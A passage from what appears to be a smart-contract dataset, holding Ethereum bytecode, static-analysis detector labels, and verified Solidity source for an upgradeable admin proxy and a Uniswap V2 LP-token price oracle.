15250611b12565b905092915050565b60008082846124359190613031565b90508381101561247a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247190612dfb565b60405180910390fd5b8091505092915050565b600061248e612059565b905060006124a58284611f6790919063ffffffff16565b90506124f981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612556826008546123dc90919063ffffffff16565b6008819055506125718160095461242690919063ffffffff16565b6009819055505050565b6000806000806125a76064612599888a611f6790919063ffffffff16565b611fe290919063ffffffff16565b905060006125d160646125c3888b611f6790919063ffffffff16565b611fe290919063ffffffff16565b905060006125fa826125ec858c6123dc90919063ffffffff16565b6123dc90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061262a8589611f6790919063ffffffff16565b905060006126418689611f6790919063ffffffff16565b905060006126588789611f6790919063ffffffff16565b905060006126818261267385876123dc90919063ffffffff16565b6123dc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126ad6126a884612fb0565b612f8b565b905080838252602082019050828560208602820111156126d0576126cf61331b565b5b60005b8581101561270057816126e6888261270a565b8452602084019350602083019250506001810190506126d3565b5050509392505050565b60008135905061271981613608565b92915050565b60008151905061272e81613608565b92915050565b600082601f83011261274957612748613316565b5b813561275984826020860161269a565b91505092915050565b6000813590506127718161361f565b92915050565b6000815190506127868161361f565b92915050565b60008135905061279b81613636565b92915050565b6000815190506127b081613636565b92915050565b6000602082840312156127cc576127cb613325565b5b60006127da8482850161270a565b91505092915050565b6000602082840312156127f9576127f8613325565b5b60006128078482850161271f565b91505092915050565b6000806040838503121561282757612826613325565b5b60006128358582860161270a565b92505060206128468582860161270a565b9150509250929050565b60008060006060848603121561286957612868613325565b5b60006128778682870161270a565b93505060206128888682870161270a565b92505060406128998682870161278c565b9150509250925092565b600080604083850312156128ba576128b9613325565b5b60006128c88582860161270a565b92505060206128d98582860161278c565b9150509250929050565b6000602082840312156128f9576128f8613325565b5b600082013567ffffffffffffffff81111561291757612916613320565b5b61292384828501612734565b91505092915050565b60006020828403121561294257612941613325565b5b600061295084828501612762565b91505092915050565b60006020828403121561296f5761296e613325565b5b600061297d84828501612777565b91505092915050565b60006020828403121561299c5761299b613325565b5b60006129aa8482850161278c565b91505092915050565b6000806000606084860312156129cc576129cb613325565b5b60006129da868287016127a1565b93505060206129eb868287016127a1565b92505060406129fc868287016127a1565b9150509250925092565b6000612a128383612a1e565b60208301905092915050565b612a2781613146565b82525050565b612a3681613146565b82525050565b6000612a4782612fec565b612a51818561300f565b9350612a5c83612fdc565b8060005b83811015612a8d578151612a748882612a06565b9750612a7f83613002565b925050600181019050612a60565b5085935050505092915050565b612aa381613158565b82525050565b612ab28161319b565b82525050565b6000612ac382612ff7565b612acd8185613020565b9350612add8185602086016131ad565b612ae68161332a565b840191505092915050565b6000612afe602383613020565b9150612b098261333b565b604082019050919050565b6000612b21602a83613020565b9150612b2c8261338a565b604082019050919050565b6000612b44602283613020565b9150612b4f826133d9565b604082019050919050565b6000612b67601b83613020565b9150612b7282613428565b602082019050919050565b6000612b8a601d83613020565b9150612b9582613451565b602082019050919050565b6000612bad602183613020565b9150612bb88261347a565b604082019050919050565b6000612bd0602083613020565b9150612bdb826134c9565b602082019050919050565b6000612bf3602983613020565b9150612bfe826134f2565b604082019050919050565b6000612c16602583613020565b9150612c2182613541565b604082019050919050565b6000612c39602483613020565b9150612c4482613590565b604082019050919050565b6000612c5c601783613020565b9150612c67826135df565b602082019050919050565b612c7b81613184565b82525050565b612c8a8161318e565b82525050565b6000602082019050612ca56000830184612a2d565b92915050565b6000604082019050612cc06000830185612a2d565b612ccd6020830184612a2d565b9392505050565b6000604082019050612ce96000830185612a2d565b612cf66020830184612c72565b9392505050565b600060c082019050612d126000830189612a2d565b612d1f6020830188612c72565b612d2c6040830187612aa9565b612d396060830186612aa9565b612d466080830185612a2d565b612d5360a0830184612c72565b979650505050505050565b6000602082019050612d736000830184612a9a565b92915050565b60006020820190508181036000830152612d938184612ab8565b905092915050565b60006020820190508181036000830152612db481612af1565b9050919050565b60006020820190508181036000830152612dd481612b14565b9050919050565b60006020820190508181036000830152612df481612b37565b9050919050565b60006020820190508181036000830152612e1481612b5a565b9050919050565b60006020820190508181036000830152612e3481612b7d565b9050919050565b60006020820190508181036000830152612e5481612ba0565b9050919050565b60006020820190508181036000830152612e7481612bc3565b9050919050565b60006020820190508181036000830152612e9481612be6565b9050919050565b60006020820190508181036000830152612eb481612c09565b9050919050565b60006020820190508181036000830152612ed481612c2c565b9050919050565b60006020820190508181036000830152612ef481612c4f565b9050919050565b6000602082019050612f106000830184612c72565b92915050565b600060a082019050612f2b6000830188612c72565b612f386020830187612aa9565b8181036040830152612f4a8186612a3c565b9050612f596060830185612a2d565b612f666080830184612c72565b9695505050505050565b6000602082019050612f856000830184612c81565b92915050565b6000612f95612fa6565b9050612fa182826131e0565b919050565b6000604051905090565b600067ffffffffffffffff821115612fcb57612fca6132e7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061303c82613184565b915061304783613184565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561307c5761307b61325a565b5b828201905092915050565b600061309282613184565b915061309d83613184565b9250826130ad576130ac613289565b5b828204905092915050565b60006130c382613184565b91506130ce83613184565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131075761310661325a565b5b828202905092915050565b600061311d82613184565b915061312883613184565b92508282101561313b5761313a61325a565b5b828203905092915050565b600061315182613164565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131a682613184565b9050919050565b60005b838110156131cb5780820151818401526020810190506131b0565b838111156131da576000848401525b50505050565b6131e98261332a565b810181811067ffffffffffffffff82111715613208576132076132e7565b5b80604052505050565b600061321c82613184565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561324f5761324e61325a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61361181613146565b811461361c57600080fd5b50565b61362881613158565b811461363357600080fd5b50565b61363f81613184565b811461364a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d83621c2cdb8c68f950c073ce1d9d119e5ebb1975d8580d78a5aaabb16eb5aee64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,651
0x26B8efa69603537AC8ab55768b6740b67664D518
/** *Submitted for verification at Etherscan.io on 2021-07-16 */ // SPDX-License-Identifier: MIT pragma solidity 0.6.12; // Part: Address /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Part: Proxy /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } // Part: UpgradeabilityProxy /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } // File: AdminUpgradeabilityProxy.sol /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220426b896a154947b9c52cbd5ec6722bc95c3af1dda6691456051888881781594864736f6c634300060c0033
{"success": true, "error": null, "results": {}}
3,652
0x32d8416e8538ac36272c44b0cd962cd7e0198489
/** *Submitted for verification at Etherscan.io on 2021-05-14 */ // SPDX-License-Identifier: GPL-3.0-or-later /// UNIV2LPOracle.sol // Copyright (C) 2017-2020 Maker Ecosystem Growth Holdings, INC. // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. /////////////////////////////////////////////////////// // // // Methodology for Calculating LP Token Price // // // /////////////////////////////////////////////////////// // A naïve approach to calculate the price of LP tokens, assuming the protocol // fee is zero, is to compute the price of the assets locked in its liquidity // pool, and divide it by the total amount of LP tokens issued: // // (p_0 * r_0 + p_1 * r_1) / LP_supply (1) // // where r_0 and r_1 are the reserves of the two tokens held by the pool, and // p_0 and p_1 are their respective prices in some reference unit of account. // // However, the price of LP tokens (i.e. pool shares) needs to be evaluated // based on reserve values r_0 and r_1 that cannot be arbitraged, i.e. values // that give the two halves of the pool equal economic value: // // r_0 * p_0 = r_1 * p_1 (2) // // Furthermore, two-asset constant product pools, neglecting fees, satisfy // (before and after trades): // // r_0 * r_1 = k (3) // // Using (2) and (3) we can compute R_i, the arbitrage-free reserve values, in a // manner that depends only on k (which can be derived from the current reserve // balances, even if they are far from equilibrium) and market prices p_i // obtained from a trusted source: // // R_0 = sqrt(k * p_1 / p_0) (4) // and // R_1 = sqrt(k * p_0 / p_1) (5) // // The value of an LP token is then, replacing (4) and (5) in (1): // // (p_0 * R_0 + p_1 * R_1) / LP_supply // = 2 * sqrt(k * p_0 * p_1) / LP_supply (6) // // k can be re-expressed in terms of the current pool reserves r_0 and r_1: // // 2 * sqrt((r_0 * p_0) * (r_1 * p_1)) / LP_supply (7) // // The structure of (7) is well-suited for use in fixed-point EVM calculations, as the // terms (r_0 * p_0) and (r_1 * p_1), being the values of the reserves in the reference unit, // should have reasonably-bounded sizes. This reduces the likelihood of overflow due to // tokens with very low prices but large total supplies. pragma solidity =0.6.12; interface ERC20Like { function decimals() external view returns (uint8); function balanceOf(address) external view returns (uint256); function totalSupply() external view returns (uint256); } interface UniswapV2PairLike { function sync() external; function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112,uint112,uint32); // reserve0, reserve1, blockTimestampLast } interface OracleLike { function read() external view returns (uint256); } // Factory for creating Uniswap V2 LP Token Oracle instances contract UNIV2LPOracleFactory { mapping(address => bool) public isOracle; event NewUNIV2LPOracle(address owner, address orcl, bytes32 wat, address indexed tok0, address indexed tok1, address orb0, address orb1); // Create new Uniswap V2 LP Token Oracle instance function build( address _owner, address _src, bytes32 _wat, address _orb0, address _orb1 ) public returns (address orcl) { address tok0 = UniswapV2PairLike(_src).token0(); address tok1 = UniswapV2PairLike(_src).token1(); orcl = address(new UNIV2LPOracle(_src, _wat, _orb0, _orb1)); UNIV2LPOracle(orcl).rely(_owner); UNIV2LPOracle(orcl).deny(address(this)); isOracle[orcl] = true; emit NewUNIV2LPOracle(_owner, orcl, _wat, tok0, tok1, _orb0, _orb1); } } contract UNIV2LPOracle { // --- Auth --- mapping (address => uint256) public wards; // Addresses with admin authority function rely(address _usr) external auth { wards[_usr] = 1; emit Rely(_usr); } // Add admin function deny(address _usr) external auth { wards[_usr] = 0; emit Deny(_usr); } // Remove admin modifier auth { require(wards[msg.sender] == 1, "UNIV2LPOracle/not-authorized"); _; } address public immutable src; // Price source // hop and zph are packed into single slot to reduce SLOADs; // this outweighs the cost from added bitmasking operations. uint8 public stopped; // Stop/start ability to update uint16 public hop = 1 hours; // Minimum time in between price updates uint232 public zph; // Time of last price update plus hop bytes32 public immutable wat; // Label of token whose price is being tracked // --- Whitelisting --- mapping (address => uint256) public bud; modifier toll { require(bud[msg.sender] == 1, "UNIV2LPOracle/contract-not-whitelisted"); _; } struct Feed { uint128 val; // Price uint128 has; // Is price valid } Feed internal cur; // Current price (mem slot 0x3) Feed internal nxt; // Queued price (mem slot 0x4) // --- Data --- uint256 private immutable UNIT_0; // Numerical representation of one token of token0 (10^decimals) uint256 private immutable UNIT_1; // Numerical representation of one token of token1 (10^decimals) address public orb0; // Oracle for token0, ideally a Medianizer address public orb1; // Oracle for token1, ideally a Medianizer // --- Math --- uint256 constant WAD = 10 ** 18; function add(uint256 _x, uint256 _y) internal pure returns (uint256 z) { require((z = _x + _y) >= _x, "UNIV2LPOracle/add-overflow"); } function sub(uint256 _x, uint256 _y) internal pure returns (uint256 z) { require((z = _x - _y) <= _x, "UNIV2LPOracle/sub-underflow"); } function mul(uint256 _x, uint256 _y) internal pure returns (uint256 z) { require(_y == 0 || (z = _x * _y) / _y == _x, "UNIV2LPOracle/mul-overflow"); } // FROM https://github.com/abdk-consulting/abdk-libraries-solidity/blob/16d7e1dd8628dfa2f88d5dadab731df7ada70bdd/ABDKMath64x64.sol#L687 function sqrt (uint256 _x) private pure returns (uint128) { if (_x == 0) return 0; else { uint256 xx = _x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; // Seven iterations should be enough uint256 r1 = _x / r; return uint128 (r < r1 ? r : r1); } } // --- Events --- event Rely(address indexed usr); event Deny(address indexed usr); event Step(uint256 hop); event Stop(); event Start(); event Value(uint128 curVal, uint128 nxtVal); event Link(uint256 id, address orb); event Kiss(address a); event Diss(address a); // --- Init --- constructor (address _src, bytes32 _wat, address _orb0, address _orb1) public { require(_src != address(0), "UNIV2LPOracle/invalid-src-address"); require(_orb0 != address(0) && _orb1 != address(0), "UNIV2LPOracle/invalid-oracle-address"); wards[msg.sender] = 1; emit Rely(msg.sender); src = _src; wat = _wat; uint256 dec0 = uint256(ERC20Like(UniswapV2PairLike(_src).token0()).decimals()); require(dec0 <= 18, "UNIV2LPOracle/token0-dec-gt-18"); UNIT_0 = 10 ** dec0; uint256 dec1 = uint256(ERC20Like(UniswapV2PairLike(_src).token1()).decimals()); require(dec1 <= 18, "UNIV2LPOracle/token1-dec-gt-18"); UNIT_1 = 10 ** dec1; orb0 = _orb0; orb1 = _orb1; } function stop() external auth { stopped = 1; delete cur; delete nxt; zph = 0; emit Stop(); } function start() external auth { stopped = 0; emit Start(); } function step(uint256 _hop) external auth { require(_hop <= uint16(-1), "UNIV2LPOracle/invalid-hop"); hop = uint16(_hop); emit Step(_hop); } function link(uint256 _id, address _orb) external auth { require(_orb != address(0), "UNIV2LPOracle/no-contract-0"); if(_id == 0) { orb0 = _orb; } else if (_id == 1) { orb1 = _orb; } else { revert("UNIV2LPOracle/invalid-id"); } emit Link(_id, _orb); } // For consistency with other oracles. function zzz() external view returns (uint256) { if (zph == 0) return 0; // backwards compatibility return sub(zph, hop); } function pass() external view returns (bool) { return block.timestamp >= zph; } function seek() internal returns (uint128 quote) { // Sync up reserves of uniswap liquidity pool UniswapV2PairLike(src).sync(); // Get reserves of uniswap liquidity pool (uint112 r0, uint112 r1,) = UniswapV2PairLike(src).getReserves(); require(r0 > 0 && r1 > 0, "UNIV2LPOracle/invalid-reserves"); // All Oracle prices are priced with 18 decimals against USD uint256 p0 = OracleLike(orb0).read(); // Query token0 price from oracle (WAD) require(p0 != 0, "UNIV2LPOracle/invalid-oracle-0-price"); uint256 p1 = OracleLike(orb1).read(); // Query token1 price from oracle (WAD) require(p1 != 0, "UNIV2LPOracle/invalid-oracle-1-price"); // Get LP token supply uint256 supply = ERC20Like(src).totalSupply(); // This calculation should be overflow-resistant even for tokens with very high or very // low prices, as the dollar value of each reserve should lie in a fairly controlled range // regardless of the token prices. uint256 value0 = mul(p0, uint256(r0)) / UNIT_0; // WAD uint256 value1 = mul(p1, uint256(r1)) / UNIT_1; // WAD uint256 preq = mul(2 * WAD, sqrt(mul(value0, value1))) / supply; // Will revert 